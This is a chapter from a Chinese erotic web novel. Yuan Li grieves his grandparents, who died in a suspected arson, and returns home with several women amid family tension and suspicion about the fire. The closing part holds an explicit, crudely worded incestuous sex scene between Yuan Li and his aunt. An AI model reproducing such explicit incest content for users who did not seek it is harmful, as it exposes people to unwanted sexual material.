眼前漆黑一片,爷爷奶奶的呼喊似乎犹在眼前,袁力猛的坐起,看着这个陌生而又熟悉的环境,他第一次感觉到孤独和无助,从此以后,在这个世界上,就只有他一个人了,父母,爷爷奶奶,都离他而去了。

好像有什么东西塞在胸膛里,他无法呼吸,黑暗无穷无尽的向他挤压过来,窒息,压抑,所有的一切,希望,梦想,前程,生命,被挤压在一起,填塞在一个狭小的胸腔里,他有一种呼喊的冲动。

一双温暖的手轻轻围住他的腰,一具温暖的身体轻柔的贴在身后,女人的体香传来,随之而来是妇人关切的话语:「力,人死不能复生,你还有很多事情要去做,爷……爷爷奶奶在天之灵,也希望你能坚强的面对这一切,你……你别让姐姐为你担心。」

犹如一缕阳光照进暗室,漆黑压抑的心田突然被这份温情闯入,驱散了一丝阴霾。是啊,他还有很多事情要做,这个世界还有关心他的人,还有值得他关心的人……

拗不过刘瑄的执拗,袁力只好同意了刘瑄的要求,带她一起回老家,只是中间多了一个变数:听说母亲要和袁力走,又了解到烧死袁力的爷爷奶奶的大火可能是有人故意纵火,刘盼死活坚持要陪母亲同去。

袁力无法说服刘瑄,刘瑄无法说服女儿,三人各自请假之后,就登上了北上的飞机。

走出安检门,袁力一眼就看到了身材高挑性感的周雪筠。周雪筠也看到了他,不顾一切的扑进了男人的怀里,周雪筠一直悬着的心终于放了下来。轻轻推开眼眶湿润的少妇,袁力轻轻的捋了捋周雪筠的头发,轻声的说道:「你受苦了。」

「力……」

不及一月,周雪筠的脸色已经不复初时的红润水嫩,脸色发白,眉宇间掩饰不住的憔悴,焦虑成疾,本来开始丰腴的身材更形消瘦,看起来楚楚可怜,让人心疼。

「别说了。」

止住了少妇宽慰的话,袁力昨晚已经哭得够了,现在的他,心里除了仇恨,已经装不下悲伤了。看到周雪筠吃惊的双眼紧紧盯着他身后的母女二人,袁力有些尴尬,但是还是硬着头皮介绍道:「这位是刘瑄,这位是刘盼。」

「瑄姐,这位是表……表姐,小姨的干女儿。」

转头介绍周雪筠的时候,袁力略微迟疑了一下。

「你好!」

刘瑄热情大方的伸出手,周雪筠有些尴尬有些不自然更有一些不情愿,但是还是伸出了手。这一切刘盼看在眼里,心里不快,只是在这个当口,也不好发作,只是冷冷的瞥了一眼袁力,催促道:「快走吧!」

三人一行轻装简随,只有刘盼带了一个小箱子,说是几件换洗衣服,刘瑄带着一个坤包。拒绝了周雪筠帮自己提箱子的好意,刘盼当先走出了机场,周雪筠讪讪的不知如何是好,接触到刘瑄满是歉意的眼神,和袁力握起她左手时那满是深意的紧握,心思本就不深的周雪筠随即释然。

「小力,这位就是干妈对你提过的关队长。」

看着帕萨特上下来的这个人颇为面熟,官气十足,却不乏英气,袁力叫了声「关叔叔」,打了个招呼,寒暄了几句后,上了周雪筠开来的帕杰罗。

「这个关队长,是不是以前小姨夫手下的那个关少廷?」

做到驾驶位上,看着帕萨特已经驶出了停车位,袁力一边发动汽车,一边问到。

「他倒是叫关少廷,只是不知道他和干妈还有这层关系。」

周雪筠坐在副驾驶座上,和男人在一起的时候,她从来都不开车,这是两个人的习惯。只是他们俩默契的各自上车,刘瑄眼神变幻,心里颇不是滋味;母女连心,感觉到母亲的不快,刘盼的脸上已经多云转阴了。

到县城的时候,袁力没有跟着帕萨特开往原来的陆家大院如今的许家大院,而是径自下了国道,上了通往老家小镇的柏油路。周雪筠欲言又止,看着后视镜里追赶着的帕萨特,无奈的叹了口气。

冬去春来,南方已经绿意葱葱,北方却依旧冰封大地。春风刮起泥土灰尘,白雪渐渐消融,春风透骨,过不了多久,就会看到人们走出家门,开始春种了。

看着路两旁熟悉的景象,看着自己生长的这块土地,又想起年迈的爷爷奶奶,还没看到自己成家立业就惨死于大火之中,袁力胸口一阵阵的剧痛,及至看到那片焦黑的废墟,这剧痛汇聚成了愤怒。

「啊,啊,啊……」

他在断壁残垣中来回的走着,发着莫名的嘶吼。三个女人站在车旁,不敢靠近;关队长坐在帕萨特里,吐着烟圈,表情木然,意味深长的看着有些疯狂的袁力。

泪水流满双颊,领口泪痕未干又重新浸湿,如此反复不知道多久,周雪筠几次忍不住要上前去劝慰,都被刘瑄轻轻拉住了。丧亲之痛袁力经历过太多了,几天郁积的痛楚需要发泄,只有这样,也只能这样了。

沉浸在悲伤和愤怒当中,袁力不明白,苍天何以待他如此严酷?幼时丧母,初成人丧父,而今学业无成事业未就,爷爷奶奶又惨遭横祸!人世间唯剩自己一人面对,天啊,你何以如此负我!

夜风渐凉,衣衫本就单薄的袁力跪在黑灰的断壁残垣中,原本健硕的身形已经有些瑟缩,有些悲凉。

原本冰凉的后背再也感受不到冷风,接着一阵温暖覆在身上,一个轻柔而坚定的声音响起:「力,跟……跟小姨回家吧!」

袁力有些愣怔的转过头,表情木然,双眼空洞的盯着来人的方向,嘴角嗫嚅了一下,没有说话,顺从的站了起来,任许晓晴拉着,走向路边。

看着男人从身边走过,刘瑄心里酸楚难过,却不知该如何是好,自己想近身上前,脚还没动,身子已经顿住了,自己的身份……

周雪筠眼神中闪过一丝忧色,继刘瑄之后向前一步,站在了袁力的另一侧,扶着他走向了帕杰罗。

「小筠,你开车吧!小力这样,怕是不能开了。」

许晓晴看了看刘瑄母女一眼,神色复杂,对周雪筠吩咐了一声,这才关上了车门。

刘瑄上车不是,不上车也不是,正自尴尬中,周雪筠体贴的出声说道:「刘……刘姐,你们也上车吧!」

女性天生的排斥让她不喜欢这「姐俩」,但仅仅是不喜欢而已,情人现在心神不宁,自己要多替他分担些。

干妈要顾虑的东西太多,照顾不到的东西,需要自己来维护,刚才的那一瞥中所蕴含的,就是这些吧……

安顿下了刘瑄刘盼,周雪筠下了楼,客厅里姨甥俩正自枯坐,关少廷做着叮嘱:「……晚上大门锁好,灯光不要太亮,窗帘要拉上……」

大致的东西这些天已经重复了很多遍,周雪筠几乎可以背下来了。

「老关,你先回去吧!这些天你费心了!」

许晓晴站了起来,语气有些不耐,说的关少廷颇为尴尬,站起身来,想要说些什么,最后终究还是没有说出来,转身就往外走。

「关叔叔要走啊!不再多坐会儿啦!」

关少廷和许晓晴已经走到了门厅,眼看躲避不及,周雪筠赶忙上前打了声招呼。

「恩,队里还有事。小筠照顾好你婆……干妈。嫂子,我走了,止步!」

回身看了许晓晴一眼,关少廷大步的走向了大门,步伐稳健,只是细看,却些微有些颤抖……

「雪筠,去把大门锁上吧!」

许晓晴满是深意的看了看儿媳妇一眼,吩咐了一声,转身去了厨房。家里来了客人,不论最后如何,这待客之道,却是不能荒废的。

从冰箱里拿了一块肉,合上门,转身的瞬间,却看到本该在客厅坐着的外甥站在自己的身后。

「小……小力!你像个鬼似的,你要吓死小姨啊?」

轻轻拍了拍胸口,许晓晴艳丽无比的面颊有些苍白,却更加楚楚动人,别有一番味道,这是这番美艳,看在袁力眼里,与尘土无异。

「小姨,我爷爷奶奶……那场火,是表哥放的吧?」

说出了心中的疑虑,几乎可以肯定的东西,袁力还是要听到许晓晴亲口的认定。

「应该是……是吧!」

外甥的目光有些夺人,许晓晴不自觉的低下头,不敢直视。

「可是为什么?为什么是我?为什么是我的家人,为什么?」

「我……我不知道!我……我怎么知道?他丧心病狂,干什么事因为什么我怎么会知道!你问我这些,你是什么意思!」

许晓晴终究是久在上位,袁力内心枯槁而散发的气势不过一时之勇而已,瞬间就被她压下,反问了过来。

「我只是……只是好奇而已。」

自小被欺负惯了的袁力,自然没有反抗的力气,只能选择退让。

「小力,我……」

许晓晴话到嘴边,终究还是没有说出口,只能眼看着外甥有气无力的挪着步子,离开了厨房……

晚饭在沉闷的气氛中进行,每个人都哭丧着脸,出了餐具相碰和轻微的咀嚼声,静谧非常。客厅的自鸣钟叮当的响声变得非常刺耳,突然‘铛’的一声,整点报时的声音吓了四个人一跳。

许晓晴先放下了筷子,看着刘瑄和刘盼这两个随外甥回来的女子,欲言又止。

她不知道这两个人跟袁力的关系,袁力没有说,她也没有问,只是凭空猜测而来,能在这个时候陪伴而来,应该不是别的关系,联系到和他一起用药的那个小女朋友,许晓晴心中酸涩,却是一片了然。

「雪筠,等下你收拾吧!二位慢慢吃,别外道,我先上去了。」

看着许晓晴出了餐厅,刘瑄也放下了筷子,微不可察的叹了一口气。倒是刘盼,正是长身体的时候,加上事情与自己并无太大关系,母亲情绪低落却并不如何伤心,自己也就乐得享受美味,实话实说,袁力这个小姨看起来凶巴巴的,做的饭可真是好吃,这么简简单单的蒜薹炒肉也能弄得这么棒,真的难得啊!

周雪筠本就不饿,看刘瑄食不知味的样子,给袁力夹了一块肉之后,就把菜往刘瑄面前推了推。感受到少妇的善意,刘瑄报以真正的一笑,轻轻的摇了摇头,接着转过头看着袁力,担忧的神情溢于言表。

周雪筠心下迷糊,不知道二女和袁力究竟关系如何,看这个情况,恐怕刘瑄和袁力有情的可能更大,这个小一点儿的,好像没见她担心过呢。

万家灯火早已阑珊,周雪筠把袁力安排在了自己的房间,自己去了袁力以前的卧室,刘瑄母女则安排到二楼的客房。忙碌了一天,大家都已困乏得很,各自怀着不同的心事睡下,长夜无话……

不知道什么时候睡去,也不知道什么时候突然惊醒,看着黑暗的天花板,周雪筠轻轻的叹了一口气。细细想来,过去种种像过电影一样,历历浮现:自己先是背负偷汉,这人还是自己的小叔子,实话实说,这件事自己并不曾后悔;接下来就是和婆婆一起谋夺夫家的财产,虽然谈不上谋夺,可财产分割完,自己就通过离婚占去四分之一,加上婆婆占去的二分之一,说自己反脸无情也并不过分;这之后就是促成婆婆和自己情人的奸情,诚然自己也有无奈,可也不是全然没有自私之心。此时想来,再加上前些日看到袁家老两口惨死火中,心中不由有些戚戚,陆名祥对自己仅仅是不够恩爱而已,凡事其实也还说得过去,可自己做的这些事,若他都知道了,却不知会如何对付自己?

越想越乱,烦躁的心绪无法凝定,披上了一件外套,就要去厨房喝水……

「嗯……小力……唔……轻些……你弄坏小姨了……轻些……」

若有若无的淫浪声调传进耳内,周雪筠对这个声音太熟悉了,她正准备朝这个声源走去,却发现暗淡的门光掩映下,一具美妙的身体正隐在暗处,透过门缝,注视着门里一切。

周雪筠本就没有开灯,加上地毯的消声作用,还有对方看的专注,尽管是在就要撞上的距离发现了对方,却一样没被发现。周雪筠脊梁发麻,想要抽身偷偷回到卧室,却难掩心中的好奇和情欲,忍不住想做着墙头看客,听听春房。

「力……小力……使劲的肏小姨……肏死她……肏烂她!是她害得……小力……小力这么难受的!使劲!啊!啊!」

卧室内的声音更加清晰,周雪筠脸蛋已经臊得通红,有些冰凉的身子也慢慢的燥热起来,想着男人曾经对自己的种种,遐思万里。

「啐!不知羞耻!和自己外甥……」

阴影里的人发出了一声低怨,却不是怪男人花心薄幸,而是怪那女子悖理乱伦。一声惊醒梦中人,周雪筠心慌慌的睁开了双眼,这才明白此时是何时,此地是何地,慌不择路的,就要退回到自己的卧室里去!

「谁!」

声音发自不同的位置,却是有些异口同声……